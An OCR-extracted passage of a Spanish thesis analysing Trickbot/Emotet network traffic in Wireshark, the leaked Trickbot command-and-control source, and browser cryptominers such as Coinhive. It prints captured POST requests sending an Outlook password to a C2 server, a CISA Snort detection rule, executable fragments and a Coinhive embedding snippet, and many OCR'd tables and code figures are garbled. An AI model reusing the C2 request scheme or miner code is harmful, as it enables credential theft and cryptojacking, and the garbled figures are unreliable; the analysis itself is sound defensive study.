42 35.507596 10.5.28.8 10.5.28.229 DNS 158 Standard query response @x3b7b No such name A 112.146.166.173.b.barracudacentral.org SOA not.available
43 35.508735 10.5.28.229 10.5.28.8 DNS 98 Standard query @xf503 A 112.146.166.173.dnsb1-1.uceprotect.net
44 35.572907 10.5.28.8 10.5.28.229 DNS 166 Standard query response @xf503 No such name A 112.146.166.173.dnsbl-1.uceprotect.net SOA dnsbl-mirrors.uceprotect.net
45 35.573776 10.5.28.229 10.5.28.8 DNS 96 Standard query @x77e3 A 112.146.166.173.spam.dnsbl.sorbs.net
46 35.664387 10.5.28.8 10.5.28.229 DNS 152 Standard query response @x77e3 No such name A 112.146.166.173.spam.dnsbl.sorbs.net SOA rbldns@.sorbs.net
1961 787.880157  10.5.28.229 10.5.28.8 DNS 125 Standard query @xbbbe SRV _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.catbomber.net
1962 787.880320 10.5.28.8 10.5.28.229 DNS 187 Standard query response @xbbbe SRV _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.catbomber.net SRV @ 100 3268 catbomber..
2213 788.054740 10.5.28.229 10.5.28.8 DNS 128 Standard query @x3f5e SRV _ldap._tcp.Default-First-Site-Name._sites.Catbomber-DC.catbomber.net
2214 788.054888 10.5.28.8 10.5.28.229 DNS 201 Standard query response @x3f5e No such name SRV _ldap._tcp.Default-First-Site-Name._sites.Catbomber-DC.catbomber.net SOA catb..
215 722 O A 10 28 27a 10 2 Dt Q7 Standard 2 2 SR 14. + Cathomh, ne i+ e

Figura 8.16: Uso del filtro por protocolo: DNS.

En la figura 8.16, se puede ver que existen llamadas a diversas APIs de obtencién de

IP. A simple vista, esto no tiene por qué ser un indicador de malware, pero si es una

practica muy comun.

El conocer la IP externa, permite al atacante conocer la direccién con la que se puede

conectar de vuelta, o simplemente para identificar a la victima en su red de infectados.

Posteriormente se analizan las peticiones en el protocolo HT'TP. De nuevo, se observan

llamadas a varios dominios para obtener la [P externa. Pero, méds interesante atin, se puede

observar otras llamadas a varias IPs.

‘ Wireshark - Requests - 2020-05-28-traffic-analysis-exercise.pcap

Topic / ltem

/

/

v HTTP Requests by HTTP Host

v wifismyip.com
Jtext

~ icanhazip.com

v aplipify.org

v 36.89.106.69
fyas33/CAT-BOMB-WT7-PC_W&17601.1071BE9788304FBDOCS2B1EE36701166/83/
/yas33/CAT-BOMB-W7-PC_W&17601.1071BE9788304FBDOCS2B1EE36701166/81/

v 203.176.135.102:8082
/yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBDOCS2B1EE36701166/90
£jim734/CATBOMBER-DC_W617601.6019FDIE35E11D1F54B4CABDEOF34770/90

v 162.216.0.163
fimages/imgpaper.png
fimages/cursor.png
Jico/VidT6cErs

Count Average MinVal MaxVal Rate (ms) Percent BurstRate Burst Start
13 0.0000 100%  0.0100 9.032

1 0.0000 769% 00100 881.486
1 0.0000 100.00% 0.0100 881.486
1 0.0000 769% 0.0100 884.030
1 0.0000 100.00% 0.0100 884.030
1 0.0000 769% 00100 9.032

1 0.0000 100.00% 0.0100 9.032

4 0.0000 30.77% 0.0100 443856
1 0.0000 25.00% 0.0100 443.856
3 0.0000 75.00% 0.0100 479.398
2 0.0000 15.38% 00100 788612
1 0.0000 50.00% 0.0100 788.612
1 0.0000 50.00% 0.0100 1285.556
4 0.0000 30.77% 0.0100 862.345
1 0.0000 25.00% 0.0100 909.626
1 0.0000 25.00% 0.0100 1078.272
2 0.0000 50.00% 0.0100 862.345

Figura 8.17: Peticiones HTTP

En la figura 8.19, se observa que la peticién se hace mediante el comando cur{[99].

Clurl es un sencillo comando para transferir datos o archivos mediante diversos protocolos,

entre ellos HTTP.
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Ademads, se observa que el servidor se identifica como “Cowboy” lo cual es uno de

los identificadores que proporciona la CISA (Cybersecurity € Infrastructure Security

Agency)|100] para identificar la familia Trickbot|101].

alert tcp any $HTTP_PORTS -> any any (msg:"TRICKBOT:HTTP Server Header
contains 'Server|3a 20|Cowboy'"; sid:1; rev:l; flow:established,from_server;

content:"260";

http_stat_code; content:"Server|3a 20| |ed ea|™;

http_header; fast_pattern; content:"content-length|3a 20|3|ed ea|";
http_header; file_data; content:"/1/"; depth:3; isdataat:!1,relative;
classtype:bad-unknown; metadata:service http;)

Figura 8.18: Indicador proporcionado por la CISA para identificar la familia Trickbot.

De hecho, las

GET / HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.69.1
Host: api.ipify.org

HTTP/1.1 288 0K

Server: Cowboy

Connection: keep-alive
Content-Type: text/plain

Vary: Origin

Date: Thu, 28 May 2020 17:56:21 GMT
Content-Length: 15

Via: 1.1 vegur

173.166.146.112

Figura 8.19: Llamada a API para conocer la IP.

sospechas son ciertas, pues posteriormente, se puede observar como se

hacen peticiones POST enviando datos sensibles.

Algunos de los datos enviados son: contrasenas de Qutlook, configuraciones de Open VPN,

claves SSH, procesos ejecutdndose en el sistema, informacién de red, etc.
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POST /yas33/CAT-BOMB-W7-PC_We17601.1071BE9788304FBDOC52B1EE36701166/81/ HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=--------- ARXRPHEBMXNZHSSP

Connection: Close

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.@; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.38729;
.MET CLR 3.0.38729; Media Center PC 6.0; .NET4.0C; .MET4.8E)

Host: 36.89.106.69

Content-Length: 260

Cache-Control: no-cache

77777777777 ARXRPHEBMXNZHSSP
Content-Disposition: form-data; name="data"

pop3://mail.catbomber.net:995|phillip.ghent|gh3ntf@st

77777777777 ARXRPHEBMXNZHSSP
Content-Disposition: form-data; name="source"

Outlook passwords

——————————— ARXRPHEBMXNZHSSP--
HTTP/1.1 200 0K

connection: close

server: Cowboy

date: Thu, 28 May 2020 18:04:12 GMT
content-length: 3

Content-Type: text/plain

11/

Figura 8.20: Llamadas POST maliciosas.

Pasando a analizar los archivos, tal y como se aprecia en la figura 8.21 que el icono es
aparentemente benigno.

GET /ico/VidTe6cErs HTTP/1.1
Connection: Keep-Alive
Host: 162.216.0.163

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Thu, 28 May 2028 18:11:15 GMT

Content-Type: Content-type: application/octet-stream
Content-Length: 106801

Connection: keep-alive

Bn8'..u.8.v92c.*P...... PN ?.OR..DLulL L NZ.PoUL L[ mx. L. R(..bz..>..%..g.D.....&
LLIC..; .. ElU... . 3., ki...d2..".J]L.wA...d....8.5.......A.
[.3.....90-5..3.g..5.2.@:.%...—...~..5 'sY...D...~..Ix7...R.Zc(...Ap.
b.{..J.7. .. #...Dn....4.2G'u. ..
r..r. "2 AL P .~GS. . 0L 70, Uml Bl omevem TV L] 2. .G ..U s,
TR t%....@7p.E....b.E..dm..1.F. Jw......M.....&0Q...T....:r.D.
cy(". . AL . 1.P.Aou ..... V.R..oo... TKU.F. N\ F. G & ome -2 M.

Figura 8.21: “ico” aparentemente no malicioso.

No obstante, al analizar los otros archivos se puede ver claramente como se trata de
un fichero eze (ejecutable).
La identificacién es sencilla, en primer lugar, el archivo comienza por el nimero magico

“MZ”. Ademds, se observan strings relacionadas con DOS.
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GET /images/imgpaper.png HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP loader/1.@
Host: 162.216.9.163

HTTP/1.1 200 0K

Server: nginx/1.6.2

Date: Thu, 28 May 2020 18:12:82 GMT

Content-Type: Content-type: application/octet-stream
Content-Length: 503808

Connection: keep-alive

7 @ e e

............... I..L.!This program cannot be run in DOS mode.

$ o.'=+.In+.In+.In+.In>.InI.Zn%.In+.Hn..In..Gn6.In..Cn..In..BnG.In..On*.InRich+.In........ PE..L..

o s s s [T [

e e o Coeeea h..

Figura 8.22: El resto de imdgenes con carédcter maliciosas.

Una bisqueda de paquetes que contengan esta cadena de texto nos devuelve los dos

archivos.

“ n |frame contains "DOS mode"T

Na. Time Source

4832 909.808982 162.216.@.163
| 9238 1078.471042 162.216.0.163

Figura 8.23:

Destination Protocol Length Info
10.5.28.229 TCP 1514 8@ » 49286
10.5.28.229 TCP 1412 8@ » 49564

Bisqueda de ejecutables.

Finalmente, se puede observar como es usado el protocolo TLSvI. Este protocolo es

considerado obsoleto a dia de hoy, aunque se mantiene su soporte por retrocompatibilidad.
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(W [tls
No. Time Source Destination Protocol
3967 904.713331 192.3.247.116 18.5.28.229 TLSv1
3986 904.715254 192.3.247.116 18.5.28.229 TLSv1
4065 904.717153 152.3.247.116 16.5.28.229 TLSv1
4813 964717835 192.3.247.116 16.5.28.229 TLSw1
A@15 904771975 16.5.28.229 5.1.81.68 TLSv1
4817 906.139575 5.1.81.68 16.5.28.8 TLSw1
4018 906 .142478 18.5.28.8 5.1.81.68 TLSv1
4021 907 .685548 5.1.81.68 18.5.28.229 TLSv1
4323 909 .446040 18.5.28.229 5.1.81.68 TLSv1
4024 909 .446143 16.5.28.229 5.1.81.68 TLSv1
4587 912 .456306 18.5.28.229 5.1.81.68 TLSw1
Ap27 912.618975 16.5.28.229 5.1.81.68 TLSv1
4788 912.763863 5.1.81.68 18.5.28.229 TLSw1
47609 912.763894 5.1.81.68 16.5.28.229 TLSv1
A711 912.772684 16.5.28.229 5.1.81.68 TLSv1
A824 912.917454 5.1.31.68 18.5.28.229 TLSv1
A827 613.811519 16.5.28.229 5.1.81.68 TLSv1
4829 913.811621 18.5.28.229 5.1.81.68 TLSw1
A831 913 .860013 5.1.31.68 16.5.28.8 TLSv1
AZ37 913 _86A517 1A_5.28_8 5.1_.81_68 Tl Swl

Figura 8.24: Uso de TLSvlI.

A continuacion se hard una identificacién, de manera rapida, de los archivos mencio-
nados en la traza. Para comenzar, se extraen los ficheros presuntamente maliciosos de la

traza.
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M Wireshark - Export - HTTP object list

[m] pad

Text Filter: ‘ Content Type: |All Content-Types
Pac?(et Hostname Content Type Size Filename ~
1561  36.89.106.69 multipart/form-data 282 bytes 83
1568  36.89.106.69 text/plain 3bytes 83
1600  36.89.106.69 multipart/form-data 260 bytes 81
1602 36.89.106.69 text/plain 3bytes 81
1665  36.89.106.69 multipart/form-data 219 bytes 81
1669  36.89.106.69 text/plain 3bytes 81
1686  36.89.106.69 multipart/form-data 210 bytes 81
1688  36.89.106.69 text/plain 3bytes 81
2256 203.176.135.102:8082 multipart/form-data 4362 bytes 90
2258 203.176.135.102:8082 text/plain 3bytes 90
2835  162.216.0.163 content-type: 106kB VidTecErs
2975 162.216.0.163 content-type: 105kB VidTecErs
3036  witfismyip.com text/plain 16 bytes  text
3047  icanhazip.com text/plain 16 bytes  \

4585 162.216.0.163 content-type: 503kB imgpaper.png
9771 162.216.0.163 content-type: 503kB cursor.png
12886 203.176.135.102:8082 multipart/form-data 4343 bytes 90
12892 203.176.135.102:8082 text/plain 3bytes 90 v

Save Save All Preview Help

Figura 8.25: Extraccion de los ficheros maliciosos.

Mediante la herramienta Detect It Easy|102], podemos obtener la entropia de las di-
ferentes secciones de los archivos. Tal y como se muestra en la figura 8.26, las secciones
.text y .rsrc se encuentran empacadas.

En este caso, corresponden a las secciones de codigo y de recursos.
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Entropy

Total
7.08399

Name
PE Header
Section(0)["text]
Section(1)[".rdata’]
Section(2)[".data’]
Section(3)["rsrc’]

100,000

200,000

Status

packed

Offset
00000000
00001000
00039000
00047000
00042000

300,000

Offset

00000000

Size
00001000
00038000
0000000
00003000
00031000

400,000

Entropy Status

0.71153 not packed
6.53548 packed
442631 not packed
353516 not packed
7.88271 packed

500.000 600,000

Figura 8.26: Entropia de uno de los ficheros (“smgmapper.eze”).

Hash

Type Method
PE32 v MD5

Hash
25f283843378702ebc360e54ab37ed2e

Offset
00000000
00001000
00039000
00047000
00042000

Name

PE Header
Section(0)["text]
Section(1)[".rdata’]
Section(2)[".data’]
Section(3)["rsrc’]

Offset
00000000

Size

Reload

Hash

00001000 8906ce2dd1b6a004d357fb941f61419¢
00038000 d96fb24070c576fe8b921299b0431089
0000e000 901a8ba22901fdd351ed75b65bc 8
00003000 aec9d9bb9e16430c0a17d30e%edf3858
00031000 02ec6123e8c0cd4b62bff217fd5dbelb

Figura 8.27: Hash MD5 de uno de los ficheros (“imgmapper.exe”).

Mediante la misma herramienta, es posible obtener el hash MD5 y analizdndolo con

VirusTotal[103] se obtiene que es malicioso, 54/71 antivirus lo detectan como virus; 29 de

ellos lo detectan como troyano y 8 lo detectan como Emotet.
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54 ) (D) 54 security vendors and no sandboxes flagged this file as malicious
934c84524

imgpaper.png

DETECTION DETAILS

Security Vendors' Analysis

Ad-Aware

Alibaba

Antiy-AVL

Avast

Avira (no cloud)

BitDefenderTheta

Comodo

RELATIONS BEHAVIOR

(@ Trojan Agent ERPH

(© Trojan:Win32/Mansabo.4d746be9
(@ Trojan/Generic ASMalw$ 4CF1

(@ Win32: Trojan-gen

(D HEURIAGEN 1228195

(@ Gen'NN ZexaF 34582 EQW@aST3j8ci

(@ TrojWare.Win32. Emotet SL@8sg2qb

492.00 KB

peere persistence  runtime-modules  spreader

COMMUNITY °

AnnLab-V3

ALYac

Arcabit

AVG

BitDefender

Bkav Pro

CrowdStrike Falcon

2022-08-02 18:28:03 UTC 2
moment a EXE

(@ Malware/Win32 RL_Generic R338752
(@ Trojan.Agent ERPH

(@ Trojan.Agent ERPH

(@ Win32:Trojan-gen

(@ Trojan.Agent ERPH

(O W32 AlDetect malware1

(@ Win/malicious_confidence_100% (W)

Figura 8.28: Anilisis en VirusTotal de uno de los ficheros (“imgmapper.eze”).

Al ejecutar y analizar su comportamiento en una sandboz, como filescan.io[104], se

observan claros signos de que se trate de un infostealer. Por mencionar comportamientos

extrafios, se puede destacar el uso de keylogging (registro de las teclas pulsadas), captura

de pantalla e inyeccion en procesos.

MITRE Techniques

Tactic

Defense
Evasion

Privilege
Escalation

Credential
Access

Collection

Discovery

Techniques

Windows File and Directory Permissions Modification @

Process Injection “
Software Packing ‘1
Control Panel 1
Mshta 1

Rundll32 1

Process Injection €D

Keylogging (1]

Keylogging (1]

Screen Capture (1]

File and Directory Discovery

Query Registry @

1

Triggered

Figura 8.29: Anilisis de comportamiento de uno de los ficheros (“imgmapper.eze”).
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8.2.2. Analisis del cédigo de fuente

Aunque se explica con mds detalle en la seccién 10.2; Conti, una de las organizaciones
cibercriminales méds grandes, sufrié ciertas filtraciones por parte de miembros internos.

Estos miembros filtraron gran cantidad de documentos, asi como las herramientas
utilizadas. Entre ellas se encontraba el cédigo de fuente de Trickbot.

Esto nos permite por tanto, hacer un anélisis del funcionamiento de una forma 100 %
clara. Ademds, esto se podrd contrastar con los andlisis realizados en la seccién 8.2.1.

El cédigo fuente, basado en Erlang, estd compuesto principalmente de dos componen-

tes:

1. “dero”: Parte encargada de hacer el manejo de los datos, asi como de la base de

datos y el manejar las peticiones de comandos.

2. “lero”: El colector de datos.

La base de datos es de tipo SQL, concretamente Postgres SQL y todo el control de los
comandos se hace mediante peticiones HTTP (Hypertext Transfer Protocol) de tipo GET
y POST.

El sistema esta preparado para que el sistema de manejo de la base de datos pueda
estar ejecutdndose en otra méquina remota. Lo cual tiene bastante sentido desde el punto
de vista de la seguridad.

A partir de los archivos SQL encontrados, se ha recreado la base de datos, que se

muestra a continuacién (fig. 8.30).
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dfinder_archive

id_low NULL

id_high NULL

group ter(e4) NULL T NULL

o ineetan ) . name
created_at 1 NULL aracter NULL

hash

NULL HULL

NULL L

NULL L

NULL

NULL

NULL

NULL id_low L 1 id low

NULL B id_high

formdata text NULL
cardinfo text NULL
NuLL id_hi b t B billinginfo text NULL

NULL :r NULL

NULL ar NULL

NULL HULL
huLL bytes HULL
HULL rce v HULL

NULL NULL

NULL

NULL NULL

NULL

NULL Wte
ytea NULL NULL
NULL NULL t i NULL

NULL t NULL " info NULL

NULL

bytea
id_low bigint o HULL
bigint

NULL

id_high NULL

NULL NULL Orograms MULL
NULL NULL 4 NULL
link ck C NULL

cid_prefix NULL

Figura 8.30: Base de datos utilizada por Trickbot.

Tal y como se ve en la figura 8.30, en la base de datos se almacena informacién de las
victimas, asi como ficheros para enviar y comandos para ejecutar.

De cada victima se guardan las siguientes propiedades: Id de grupo, Id de cliente,
sistema operativo, direccién 1P, pais, importancia y “userdefined”, cuando fue registrado
y ultimo momento en linea.

Los campos de “userdefined” e “importancia” son numéricos (ntimeros negativos, 0 y
positivos) y manejados por el propio software.

Como en cualquier servidor HTTP, el envio de datos al servidor se hace mediante
peticiones HTTP POST. Y la obtencién de ellos se hace mediante peticiones GET.

Todo el contenido se maneja en formato de texto y binario.

Puesto que pueden existir numerosos reverse-prozies (servidores que redirigen el trafico
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de los clientes a diversos servidores), DNATs (encargado de traducir IPs de destino al

conectar de IPs publicas a privadas) y balanceadores de carga entre el servidor y la

victima, desde el servidor no es posible conocer la direccién IP piblica de la victima.
De nuevo, cobra gran sentido, que las primeras peticiones en la traza de red analizada

sean a diversas APIs que devuelven la IP prublica de la victima.

GET / HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.69.1
Host: api.ipify.org

HTTP/1.1 200 OK

Server: Cowboy

Connection: keep-alive
Content-Type: text/plain

Vary: Origin

Date: Thu, 28 May 2020 17:56:21 GMT
Content-Length: 15

Via: 1.1 vegur

173.166.146.112

Figura 8.31: Llamada a API para conocer la IP.
Para tener identificada a la victima en todo momento, se adjuntan siempre ciertos
metadatos a las peticiones. Los metadatos enviados son:
= Tiempo actual
= Id de grupo
= [d de la victima

Ademsds, todas las peticiones tienen la misma estructura:
/<id-de-grupo > /<id-del-cliente > /< comando >/
El Id del grupo, es una cadena de caracteres (a-z) y nidmeros (0-9), sin importar en

este pardmetro las maytsculas o minisculas.
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El Id de la victima se conforma de la siguiente forma:

En primer lugar, existe una parte obtenida a base de parametros del sistema. Siguiendo

el esquema: <nombre> XYYYYYYY

= Nombre: El nombre identificador de la maquina, obtenido con ciertos pardmetros

de la victima (ya sea con su usuario, sistema operativo, o cualquier identificador).

= X: Un cardcter que identifica el tipo de sistema del usuario siendo: W - Windows,

L - Linux, A - Android, M - Mac OS.
» YYYYYYY: 3-7 digitos que conforman la versién del sistema operativo.

En segundo lugar, obtenido de forma aleatoria, se generan 32 caracteres alfanuméricos

aleatorios. En este pardmetro si importan las maytisculas o mintisculas.

LN
integer(HexId, 16)):128/unsigned-intege

{ Name, stemBin:1/binary : 0
{ok, Client#client{

id bin = { P1, P2
name = Name

Systenm

cid prefix = Name

plit(Binary, Delimiter, [ global ])) of

Delimiter/binary, A/b
rse(List))

Figura 8.32: Generacion del Id de usuario en el malware Trickbot.

Finalmente, el dltimo pardmetro de las peticiones es el de los comandos. Los comandos

vienen dados por un identificador numérico de 0 a 999.
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Todos los datos de cada comando, son guardados en la base de datos en las tablas
nombradas como "data<numComando>".
A continuacién (fig. 8.33) se muestran las tablas para 4 comandos distintos (83, 90,

80 y 84).

id_low bigin created_at i m id low bigint id_low

id_high L group r € i o id_high
created_at m id_low ; T g n c r group :r NULL
group I : id_high 1 q T cr a timestamp NULL
formdata text c fo text o - ter s 3 ] HULL
cardinfo text info text a b r r ] HULL
billinginfo text text g ain } NULL
programs text created_at t tamp ok name i NULL
services text type i ie_ e te HULL
NULL
NULL
NULL

Figura 8.33: Tablas relacionadas con los comandos 83, 90, 80 y 84.

Se muestra ademads el manejador de las peticiones HT'TP para estos comandos:

Limits }.
Req, Limits) ->
1, L1
, Limi

[1., Client, Limits, Req) -=
Limits,

Limits,
eql;

, Client, Limits, Req) ->
nt, Limits,

Limits, Req) -=

, Limits, Req) -=

s, Req) -=

Limits
Limits, R ;

Client, Limits, Reg) -=»
(forbidden, Reg).

Figura 8.34: Manejador de peticiones HTTP para los comandos dados.
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Analizando el c6digo del parser de una peticién para el comando "90", podemos ver que
concuerda totalmente con la peticion que obtuvimos en wireshark en la seccién anterior

(seccion 8.2.1).

lengt
timeout,

ProcListLimit = 6
ProcL c p

cListLimit ->

/bin -> Bi

SQL = "INSERT INTO da {created "group\", id 1 id high, p nfo info ) VALUES ( no $1, %2, $3, $4, %5 )"
< } db:e , List, SysInfi

Figura 8.35: Parsing de la respuesta de la victima al comando 90.
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POST /yas33/CAT-BOMB-W7-PC_W617601.1071BE9788304FBDOC52B1EE36701166/9@ HTTP/1.1

Connection: Keep-Alive

Content-Type: multipart/form-data; boundary=---WebKitFormBoundary7MAAYWxkTrZudgh
User-Agent: Winhttp 1/0

Content-Length: 4362

Host: 2083.176.135.182:8082

————— WebKitFormBoundary 7MAAYWxkTrZudgh
Content-Disposition: form-data; name="proclist"

[System Process]

System
Smss.exe

C5Irss.exe

wininit.

exe

C5r55.exXe

winlogon.exe
services.exe

lsass.exe

lsm.exe

svchost.
svchost.
svchost.
svchost.
svchost.
svchost.
svchost.
spoolsy.
svchost.
svchost.
svchost.

exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe

Figura 8.36: Wireshark - Comando 90.

En el caso analizado anteriormente la peticién es:

/yas33/CAT-BOMB-W7-PC_W617601.1071BE97...66,/90

Que comparédndola con el esquema de una peticion de Trickbot, concuerda totalmente:

/<id-de-grupo > /<id-del-cliente > /< comando >/

En este caso el ID de grupo tiene el valor “yas33”, el ID del cliente en primer lugar

tiene valor “CAT-BOMB-W7-PC”, se trata de una médquina Windows y el componente

aleatorio es “617601.1071BE97...66”, el comando a ejecutar es el 90.
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Funciones A PI para los administradores

Ademads, se proveen de diversas APIs para los administradores del malware, de forma
que sea mds sencilla interaccionar con él.

Este tipo de peticiones tienen la siguiente estructura:

/<apikey >/ <apikeypass> /<function> /<paraml>/<param2>/<param3>/

Se muestran las posibles funciones encontradas:

GetGroupData: Devuelve la informacién de un grupo.

UploadFile: Sube un fichero al servidor.

UploadConfig: Sube una configuracion al servidor.

UploadLink: Sube un link al servidor.

id

commands_allowed text NULL
ip ext NULL
apikey character(64) HNULL
pass character NULL

apilog

apikey i - NULL
apikey id NULL
ip i - MULL
command i (25 MULL

time

type i - NULL

Figura 8.37: Base de datos - API para el administrador.
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Registro de actividad

Toda la actividad, tanto de las victimas como con la API de “administrador”; es
guardada en un registro con los siguientes datos: Dia y hora, clave API, identificador y

funcion.

Archivos y configuraciones

Tanto el paso de archivos como de configuraciones, se hace mediante referencias en la
base de datos.

Estos archivos poseen ciertas etiquetas que permiten ordenar o filtrar los elementos.
Por ejemplo, versiones para las configuraciones o filtros con un lenguaje especifico.

Esto permite filtrar por ID de grupo, pais, sistema operativo, importancia, ID de

cliente, etc. Si existiera méds de un elemento posible, se tomaria el de mayor version.

importance rules
module_data
id
group aracter MULL class
client_id

country aracter NULL params £r MULL AK

NULL preplus
mul
postplus = NULL
“r NULL
) r NULL
HULL CONFLES aata g MNULL
id

version

NULL
NUI
UL P NULL
tance low
rtance_high
e_hlg NULL
userdefined_low
userdefined_high i
client_id imt NULL
created_at
MULL
country aracter NULL
MULL

NULL

defined_high

client_id NULL

Figura 8.38: Base de datos - Archivos, configuraciones, etc.
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Cola de comandos

Cada victima tiene su propia cola de comandos. Los comandos son anadidos por el
administrador y son eliminados de la cola cuando la victima devuelve un informe de su

ejecucion (comando /10/).
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Mineros

Tal y como se ha mencionado en la seccién 7, los mineros de criptomonedas o cripto-
mineros, componen la gran mayoria del malware; tanto en la situacion pre-COVID como
en la post-COVID.

Por ello, se considera que un andlisis méds cercano podria ayudar a comprender ain
mejor el impacto que el COVID ha tenido sobre este tipo de malware.

Basdndonos en lo ya analizado en secciones anteriores, se conoce que existe una fuerte
correlacién entre el precio del Bitcoin y el uso de criptomineros. No obstante, no se han
analizado las funcionalidades y caracteristicas intrinsecas del malware.

Se realizard primero un andlisis de los mineros pre-COVID, seguido por la situacion

post-COVID.

9.1. Mineros Pre-COVID

Tal y como ya se ha comentado en la seccion 7.1.1, la mayoria de las detecciones se
encuentran en las siguientes familias: Coinhive (30 % ), Cryptoloot (23 % ), JseCoin (17
% ), XMRig (7 % ), Authedmine (6 % )

A continuacién se hard un breve paso por las distintas familias de forma que se puedan

comparar con las muestras post-COVID y asi evaluar si existen cambios notorios.

95
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En general, todos los mineros de la lista tienen caracteristicas similares. De hecho, ex-
ceptuando XMRig[105], todos los mineros estdn basados en implementaciones Javascript
e infectan /atacan por medio del navegador web.

Destacar también, que Authedmine, a pesar de mencionarse como familia diferente, no
es mds que una version de Coinhive modificada.

Authedmine, surgié como respuesta a los antivirus. Debido a que las firmas de antivirus,
con el tiempo, fueron capaces de detectar y mitigar este tipo de malware, Coinhive, con
tal de seguir en el mercado, creé una versiéon dénde el usuario podia dar consentimiento
de forma explicita, buscando asi, que el “software” no se considerara malware, sino una
alternativa a los anuncios. No obstante, la idea no llego a tener éxito, pues este tipo de
mineros fueron bloqueados también.

Debido a esto, se puede apreciar que la utilizacién del minero con consentimiento es

mucho menor:

i85 #

¥

Jmn W Admn 18 w0 30 30 ar s W Fan t Fa 3

Jan 13 Jun 14 NG Awe 33 o824 Fa s Fau ¥

Figure 7: Usage statistics for the gpt-in version of Coinhive

dor i Jan 1F dan 4 dam 16 dun TR Jon 2 Jon 12 Jan 34 dan 3% b dan 30 Feai Fer ) Fe § FebT

Fiaure 8 [ Isnae statistics far the silent version of Cainhive

#

Figura 9.1: Arriba: Coinhive con consentimiento (miles de usuarios).

Abajo: Coinhive sin consentimiento (millones de usuarios). Fuente: MalwareBytes.
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9.1.1. Modo de uso de un criptominero

El modo de uso de los mineros es practicamente el mismo entre las diferentes muestras.
En general, basta con incluir un script en la pdgina HTML y el minero funcionara solo.
Como ejemplo se muestra el script necesario para incluir CoinHive.

const CoinHive = require('coin-hive');
(async O => {
const miner = await CoinHive('ZM4gjqQ0');
await miner.start();

miner.on('found', () => console.log('Found!'));
miner.on('accepted', () => console.log('Accepted!'));
miner.on('update', data =>

console.log("

Hashes per second: ${data.hashesPerSecond}

Total hashes: ${data.totalHashes}

Accepted hashes: ${data.acceptedHashes}
)
)3

setTimeout (async () => await miner.stop(), 60000);

HO;

9.1.2. Panel de control

Puesto que este tipo de malware estaba destinado para todo tipo de usuarios, era
comun ofrecer un panel de control donde se pudiera manejar de forma sencilla el com-
portamiento del minero y tener a acceso a funcionalidades como estadisticas, retirada de

dinero, etc.

MINEROS
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&
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.' JSECOIN JSEcoin | Dashboard | Register

& Dashboard JSEcoin Cryptocurrency Platform
Setup your account to start using web browser cryptocurrency mining
2 Funds
Il Name
d Transfer
Export

Mining

=~ Publishers

) Referrals

Settings

United States e
Feedback

[ Agree the terms and policy

0 Login

Already have an account n
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Copyright JSEcoin.com © 2017 - 2018 @':‘1.9

Figura 9.2: Panel de control para JSECoin.

9.1.3. Diferencias entre las familias

Tras analizar las diferentes familias de malware, se puede apreciar que no existen
grandes diferencias entre ellos, de hecho, las principales diferencias recaen en tasas méds

competitivas o funcionalidades secundarias como referidos o loterias.
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‘i€ CryptoLOOT

CoinHive Alternative

Why choose CryptoLoot? CryptoLoot charges a 12% fee compared to
CoinHive's 30% fee, and also offers additional features such as CNAME
Proxies, daily re-encryption, and others. CryptoLoot's main priority is to
provide the most profitable mining experience to webmasters and
developers, and is doing so by being the lead coinhive alternative.

Figura 9.3: La pdgina de CriptoLoot ofertando una menor tasa que sus competidores.

9.2. Mineros post-COVID

A continuacién, se analiza la situacién de los criptomineros post-COVID.

9.2.1. Cotnhive

A pesar de ser uno de los més predominantes a nivel estadistico, fue uno de los primeros
mineros de la lista en cerrar. Segin ciertas declaraciones: “La caida en hash rate (més del
50 %) desde el tltimo fork de Monero nos afecté mucho” y “Asi como el crash del mercado
de criptomonedas que causé que XMR se depreciara méas del 85 % en un ano.”. Es decir,
al no tener una forma tan eficiente de minar y debido a la depreciaciéon de la moneda,
tuvieron que cerrar.

Esto no es més que otra evidencia de la correlacién entre el precio de las criptomonedas
y el uso de este tipo de malware.

A dia de hoy, el dominio se encuentra vacio y si se visita, se redirige a una entrada del
blog del famoso investigador Troy Hunt, creador de HavelBeenPwned. El post tiene como
titulo: “Yo ahora poseo el dominio de CoinHive. Esto es lo que estoy haciendo para luchar

contra el cryptojacking y haciendo buenas cosas con politicas de seguridad de contenido”.

MINEROS
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I Now Own the Coinhive Domain. Here's How
I'm Fighting Cryptojacking and Doing Good
Things with Content Security Policies.

v i in & =

01 APRIL 2021

Figura 9.4: Post del blog de Troy Hunt.

En este post, cuenta como ha obtenido el dominio, asi como algunas estadisticas de

los visitantes. Esto es especialmente relevante para el estudio de este TFG, pues como el

script apunta al dominio, se pueden registrar cuantos usuarios estarian siendo victimas

actualmente.

En el siguiente grafico se muestran los visitantes tunicos infectados por CoinHive en

2021:

Unique Visitors

Total Unigue Visitors Maximum Unique Visitors Minimum Unigue Visitors

Last week Per day Per day

611,481 116,940 97,863

11624k
80k

60k

Murnber of Yisitors

40k

20k

0
10 AM Thu 25 Fri 26 Sat 27 Sun 28 Mon 20 Tue 20 10 AM

Figura 9.5: Visitantes tinicos en el dominio de Coinhive.
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Con la siguiente distribucién demografica:

Web Traffic Requests by Country

Ny 5 3
- \ Canada

Mexee
Calombia

Bolivia

Top Traffic Countries / Regions

Last week

Country / Region
China

Russian Federation
United States
Georgia

Vietnam

Figura 9.6: Distribucion demogréfica del tréfico en el dominio de Coinhive.
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Troy Hunt al tratarse de un whitehat (hacker ético) con renombre en la comunidad,

hizo el bien, haciendo que el script devuelto (el antes minero) sea un pop-up informando

a los visitantes del sitio infectado.

@ iPaia - Ofcial website x4

<« C A Notsecure | ipaisa.com.pk

* O » @ :

Figura 9.7: Pop-Up alertando a los visitantes.
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9.2.2. Otros mineros basados en Javascript

Para el resto de mineros basados en Javascript, el resultado fue similar. Para Crypto-
Loot, aunque el dominio parece estar en linea|106], ciertos contenidos de la web no parecen

estar al dia. Ademsds el registro no parece funcional en estos momentos.

@ verifypow.com

